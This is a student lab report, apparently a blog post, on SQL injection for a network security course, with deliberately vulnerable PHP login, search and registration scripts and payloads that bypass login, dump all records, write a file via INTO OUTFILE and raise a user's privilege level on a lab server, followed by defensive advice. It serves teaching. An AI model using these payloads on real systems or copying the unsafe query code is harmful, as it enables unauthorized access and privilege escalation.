网络安全实验4 SQL注入攻击

赞赏码 & 联系方式 & 个人闲话

【实验名称】SQL注入攻击

 

【实验目的】

1.了解SQL注入的基本原理

2.掌握PHP脚本访问MySQL数据库的基本方法

3.掌握程序设计中避免出现SQL注入漏洞的基本方法

 

【实验原理】

1.什么是SQL注入攻击

    所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。

2.为何会有SQL注入攻击

    很多电子商务应用程序都使用数据库来存储信息。不论是产品信息,账目信息还是其它类型的数据,数据库都是Web应用环境中非常重要的环节。SQL命令就是前端Web和后端数据库之间的接口,使得数据可以传递到Web应用程序,也可以从其中发送出来。需要对这些数据进行控制,保证用户只能得到授权给他的信息。可是,很多Web站点都会利用用户输入的参数动态的生成SQL查询要求,攻击者通过在URL、表格域,或者其他的输入域中输入自己的SQL命令,以此改变查询属性,骗过应用程序,从而可以对数据库进行不受限的访问。

    因为SQL查询经常用来进行验证、授权、订购、打印清单等,所以,允许攻击者任意提交SQL查询请求是非常危险的。

3.何时使用SQL注入攻击

当Web应用向后端的数据库提交输入时,就可能遭到SQL注入攻击。可以将SQL命令人为的输入到URL、表格域,或者其他一些动态生成的SQL查询语句的输入参数中,完成上述攻击。因为大多数的Web应用程序都依赖于数据库的海量存储和相互间的逻辑关系(用户权限许可,设置等),所以,每次的查询中都会存在大量的参数。

4. MySQL简介
    SQL是结构化查询语言的简称,它是全球通用的标准数据库查询语言,主要用于关系型数据的操作和管理,如增加记录,删除记录,更改记录,查询记录等,常用命令知识如表4-1-1所示。

                                                                                  表4-1-1  SQL常用命令

命令短语

功能

例句

select

用于查询记录和赋值

select i,j,k from A (i,j,k是表A中仅有的列名)

select i='1' (将i赋值为字符1)

select* from A (含义同第一个例句)

update

用于修改记录

update A set i=2  where i=1

insert

用于添加记录

insert into A values(1, '2',3) (向A表中插入一条记录(i,j,k)对应为(1, '2',3))

delete

用于删除记录

delete A where i=2 (删除A标中i=2的所有表项)

from

用于指定操作的对象名

见 select

where

用于指定查询条件

select *from A,B where A.name=B.name and A.id=B.id

and

逻辑与

1=1 and 2<=2

or

逻辑或

1=1 or 1>2

not

逻辑非

not 1>1

=

相等关系或赋值

见and、or、not

>,>=,<,<=

关系运算符

与相等关系('=')的用法一致。

单引号(“'”)

用于指示字符串型数据

见select

逗号

分割相同的项

见select

*

通配符所有

见select

--

行注释

--这里的语句将不被执行!

/* */

块注释

/* 这里的语句将不被执行! */

 

【实验内容】

一.PHP访问MySQL简单实例

1. 创建隶属test数据库的user表

(1)启动mysql服务

在控制台中输入如下命令启动mysql服务。缺省状态下root用户密码为空。可通过如下命令查看mysql服务是否启动成功。

(2)创建user数据库表

在控制台中输入mysql,进入mysql客户端控制台(mysql>)。

● 选择工作数据库test(缺省状态下,test数据库已被创建)。

● 创建user数据库表

● 插入两条数据信息

● 查看数据库表

 

2. 编写PHP脚本查询user数据库表

编写access.php脚本,内容如下:

<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";

$username = $_GET['username'];
$password = $_GET['password'];

## 连接到MySQL服务器
$dbcnx = mysql_connect($servername , $dbusername, $dbpassword );
if( !$dbcnx )
{
	echo( "连接MySQL服务器失败!".mysql_error() );
	exit();
}

## 选择工作数据库
if( !mysql_select_db($dbname, $dbcnx) )
{
	echo ( "激活$dbname数据库失败!".mysql_error() );
	exit();
}

## SQL查询
$sql_select = "SELECT * FROM user WHERE username='$username' AND password='$password'";
$result=mysql_query($sql_select, $dbcnx);
$userinfo=mysql_fetch_array($result);
if(empty($userinfo))
{
	echo "登录失败";
}
else
{
	echo "登录成功";
}
echo "<p>SQL查询: $sql_select<p>";
?>

从代码中可知,当输入正确的用户名和密码后,就会提示登录成功,否则登录失败。

查看本机IP地址,发现为172.16.0.192

 

单击桌面控制面板中“Web浏览器”按钮,当我们在URL地址栏中提交:

http://172.16.0.192/access.php?username=angel&password=mypass

Web页面会提示“登录成功”。

写出此时PHP脚本中具体的SQL查询语句: 

SELECT * FROM user WHERE username='angel' AND password='mypass' 
 

3. 实施SQL注入

(1)在URL地址栏中提交:

http://172.16.0.192/access.php?username=angel' or 1=1

注入是否成功?    否     

写出此时PHP脚本中具体的SQL查询语句:

SELECT * FROM user WHERE username='angel' or 1=1' AND password=''

 

(2)在URL地址栏中提交

http://172.16.0.192/access.php?username=angel' or '1=1

注入是否成功?    是     

写出此时PHP脚本中具体的SQL查询语句: SELECT * FROM user WHERE username='angel' or '1=1' AND password=''                    

通过分析SQL查询语句解释实验现象: 可以看出程序会自动在语句末尾加上',第一种情况形成1=1’语句,显然这是不完整的。而第二种写法在前先加了一个’,形成’1=1’恒等语句。而我们知道逻辑AND运算优先级高于逻辑OR运算,使得先有'1=1' AND password=''得到真,再同username='angel'逻辑or,最终通过检验  

(3)在URL地址栏中提交:

http://172.16.0.192/access.php?username=angel'%23

注入是否成功?    是     

写出此时PHP脚本中具体的SQL查询语句:

SELECT * FROM user WHERE username='angel'#' AND password='' 

此处利用了MySQL支持“#”注释格式的特性,在提交的时候会将#后面的语句注释掉。由于编码问题,在多数Web浏览器URL地址栏里直接提交#会变成空,所以这里使用了字符“#”的ASCII码值0x23。

 

(4)Mysql还支持“/*”注释格式,请写出利用“/*”实现注入的URL,以及此时的SQL查询语句。
SQL查询语句:http://172.16.0.192/access.php?username=angel'%2F%2A


URL: SELECT * FROM user WHERE username='angel'/*' AND password='' 

 

(5)步骤(2)通过向username注入逻辑or运算,在只需知晓用户名的情况下便可成功登录。下面请设计单独向password注入逻辑运算(可多个),要求在只需知晓用户名的情况下实现登录:
 SQL查询语句: http://172.16.0.192/access.php?username=&password=' or 1=1 and username='angel 

URL: SELECT * FROM user WHERE username='' AND password='' or 1=1 and username='angel' 

 

(6)下面请设计SQL查询语句,要求在不需要知晓用户名和密码的情况下实现登录。

提示:通过猜测用户ID字段名称与用户序列号,结合逻辑运算,向password进行注入。
SQL查询语句: http://172.16.0.192/access.php?username=&password=' or 1=1 and userid='1 

URL: SELECT * FROM user WHERE username='' AND password='' or 1=1 and userid='1'      

 

二.搜索引擎注入

值得注意的是,Internet上有许多的PHP程序搜索引擎是存在问题的,也就是提交特殊字符就可以显示所有记录,包括不符合条件的。
1. 创建隶属test数据库的file表

(1)创建file数据库表

file数据库表结构如下:

(2)插入四条数据信息

title

author

summary

honeypot paper

honeypot.net

honeypot and honeynet

snort paper

snort.net

snort intrusion detection

snort based network

ppi

another snort paper

iptables+snort

no name

intelligence ids

 

2. 编写HTML页面

通过HTML页面提交表单给服务器端PHP脚本,由PHP根据表单索引关键字对MySQL数据库进行查询,最后将查询结果返回给HTML页面。HTML页面代码如下:

<html>
<body>
<form action="search.php" method="post">
<table border="0">
<tr bgcolor="#cccaaa">
  <td width="300">文档搜索引擎</td>
</tr>
</table>
<p>
<table border="0">
<tr>
  <td>关键字:</td>
  <td align="left"><input type="text" name="key" size="32"
     maxlength="32"></td>
</tr>
<tr>
  <td bgcolor="#cccaaa" colspan="2" align="left"><input type="submit" value="搜索"></td>
</tr>
</table>
</form>
</body>
</html>

 

 

3. 编写PHP脚本查询file数据库表

<?php
  $key = $_POST['key'];
?>
<html>
<head>
  <title>搜索结果</title>
</head>
<body>
<h3>文档搜索引擎</h3>
<?php
echo "搜索关键字:$key<p>";
echo "文档搜索时间: ";
echo date("H:i, jS F<p>");
echo "搜索结果:";
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";
$tablename = "files";
$result = mysql_connect( $servername, $dbusername,$dbpassword);
if( !$result )
{
	echo ("连接mysql服务器失败");
	exit();
}
if( !empty($key) )
{
	$sql_select = "SELECT * FROM file WHERE title LIKE '%$key%' ";
	$result = mysql_db_query( $dbname, $sql_select );
	if( empty($result) )
	{
		echo("mysql_db_query error");
		exit();
	}
	$total = mysql_num_rows($result);
	if( $total <= 0 )
	{
		echo ("<p>The $key was not found in all the record<p>");
	}
	else
	{
		while( $file = mysql_fetch_array($result) )
		{
			echo("<li>".htmlspecialchars($file[title])."<p>");
			echo( "摘要:".htmlspecialchars($file[summary]) );
		}
	}
}
else
{
	echo("<b>请输入查询关键字.</b><p>");
}
	exit();
?>
</body>
</html>

从代码中可知,search.php会按search.htm提交的关键字对file数据库表进行模糊查询,并最终将查询结果显示在HTML页面中。

输入关键字“snort”进行 搜索,搜索结果中含有多少条记录? 3条 。记录中是否包含与snort关键字无关的项  无  

 

写出此时PHP脚本中具体的SQL查询语句: SELECT * FROM file WHERE title LIKE '%snort%'  
 

4. SQL注入

(1)这里我们利用PHP脚本没有对关键字变量进行检查的漏洞进入SQL注入。输入关键字“%”,进行搜索,搜索结果中含有多少条记录? 4条  。记录中是否包含与snort关键字无关的项 包含honeypot paper 

写出此时PHP脚本中具体的SQL查询语句:  SELECT * FROM file WHERE title LIKE '%%%'  

解释SQL查询语句含义: 从title列中模糊查询全部记录   

 

(2)输入关键字“_’ORDER BY fileid#”

「说明」 “_”字符表示单字符通配,n个“_”字符则表示n字符通配。“ORDER BY fileid”表示按特定顺序进行SQL查询。若fileid为整型字段,则按整数大小(由小到大)顺序进行查询;若fileid为字符数组类型字段,则按字符ASCII码(由前到后)顺序进行查询。

写出此时PHP脚本中具体的SQL查询语句: SELECT * FROM file WHERE title LIKE '%_’ORDER BY fileid#%'    

解释SQL查询语句含义: 按照fileid从小到大排列,模糊查询记录 

 

三.注入实现导出文件

本实验步骤仅为说明由于SQL注入而给服务器系统带来一定程度上的危害。

在步骤一中,我们使用用户名,在无需知晓用户密码的情况下,通过SQL注入实现了登录。作为进一步操作,我们可以通过SQL注入来向服务器硬盘中写入大量无用的文件,而这是利用了MySQL的“INTO OUTFILE”命令,其查询方法如下:

SELECT * FROM user WHERE cond into outfile '/etc/temp.txt';

上述SQL查询语句会将user数据库表中,满足cond条件的记录以INTO OUTFILE标准格式导出到/etc/temp.txt文件中。而信息能够被成功导出到/etc/temp.txt中的条件是目标目录有可写的权限和目标文件不存在。

基于步骤一,写出能够实现(SQL注入)上述功能的URL: http://172.16.0.192/access.php?username=' or 1=1 into outfile '/etc/temp.txt'%23 

写出此时PHP脚本中具体的SQL查询语句: SELECT * FROM user WHERE username='' or 1=1 into outfile '/etc/temp.txt'#' AND password='' 

看到temp.txt中的结果:

 

 

四.通过注入提升用户权限

如果大家认为SQL注入仅仅适用于SELECT语句就大错特错了,其实还有两个危害更大的操作,那就是INSERT和UPDATE语句。

(1)创建隶属test数据库的register表

切换至/opt/ExpNIC/HostSec-Lab/Projects/step4/目录,执行脚本create_table_register创建register数据库表。

写出数据表包含的字段名称: Field、Type、Null、Key、Default、Extra

 

(2)注册用户
将/opt/ExpNIC/HostSec-Lab/Projects/step4/目录中的register.htm和register.php文件拷贝至/var/www/html目录下。

在Web浏览器URL地址栏中访问register.htm页面。

填写“用户名”、“用户口令”和“个人主页”信息,单击“注册”按钮,进行注册。

注册用户级别(userlevel)  3  

 

(3)SQL注入提升注册用户权限

返回到register.htm页面,按如下方法填写“个人主页”信息。

http://lixiaojun.com’,’1)#

单击“注册”按钮,用户注册级别  1  

写出此时PHP脚本中具体的SQL查询语句: INSERT INTO register VALUES(0,'lixiaojun','123','http://lixiaojun.com’,’1)#',3)  

 

思考问题 

1.思考程序设计中有效避免SQL注入的方法(不限于本实验中提及的)?

(1)输入验证

检查用户输入的合法性,确信输入的内容只包含合法的数据。

(2)错误消息处理

防范SQL注入,还要避免出现一些详细的错误消息,因为黑客们可以利用这些消息。要使用一种标准的输入确认机制来验证所有的输入数据的长度、类型、语句、企业规则等。

(3)加密处理

将用户登录名称、密码等数据加密保存。加密用户输入的数据,然后再将它与数据库中保存的数据比较,用户输入的数据不再对数据库有任何特殊的意义,从而也就防止了攻击者注入SQL命令。

(4)存储过程来执行所有的查询

SQL参数的传递方式将防止攻击者利用单引号和连字符实施攻击。

(5)使用专业的漏洞扫描工具

一个完善的漏洞扫描程序不同于网络扫描程序,它专门查找网站上的SQL注入式漏洞。最新的漏洞扫描程序可以查找最新发现的漏洞。

(6)确保数据库安全

锁定数据库的安全,只给访问数据库的web应用功能所需的最低的权限,撤销不必要的公共许可,使用强大的加密技术来保护敏感数据并维护审查跟踪。

(7)安全审评

在部署应用系统前,始终要做安全审评。建立一个正式的安全过程,并且每次做更新时,要对所有的编码做审评。

 

2.SQL注入漏洞产生的原因是什么?

但凡有SQL注入漏洞的程序,都是因为程序要接受来自客户端用户输入的变量或URL传递的参数,并且这个变量或参数是组成SQL语句的一部分,

对于用户输入的内容或传递的参数,应该要时刻保持警惕,这是安全领域里的外部数据不可信任的原则,SQL注入漏洞的产生大多数都是因为开发者开发过程中不注意规范书写sql语句和对特殊字符进行过滤,违反了这个原则而导致的。

 

【小结或讨论】

这次的SQL注入其实在之前的学习中就有接触过,在CTF比赛和软件安全课程上都有过学习,所以这次实验总的来说还是比较顺利的,内容也较为容易理解。

实验从or '1=1这个最经典的注入方式入手,很直接鲜明的给出了SQL注入的案例,一下子就让我们也知道了SQL注入是什么、SQL注入漏洞在哪、SQL注入想干什么、SQL注入该如何去操作。而对于实验中的or 1=1注入,很明显这不能形成一个完整的闭合语句,而通过or '1=1,先开始了一个新的语句,再结合自动补充的’,就能形成一个恒成立的等式‘1=1’,从而跳过验证。

SQL注入的方法有很多,很重要的一个就是利用的就是AND和OR的运算规则,从而造成后台脚本逻辑性错误,我们的实验也是这样做的。除此之外猜解表名、列名,绕过一些防注入的方法比如双空格等等,有很多值得进一步学习探究的地方。SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况,特别现在大小网站多少都会有防注入的限制措施,会对输入进行过滤和审查。能不能根据具体情况进行分析,构造巧妙的SQL语句,这才是SQL注入最为精华的部分。

实验还演示了利用SQL提权的操作,证明注入不仅适用于select。SQL注入非常注重技巧,合理的猜测往往也是解题最不可或缺的一部分,所以要想学好SQL注入还有很多的空间值得我们自己去慢慢发掘。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值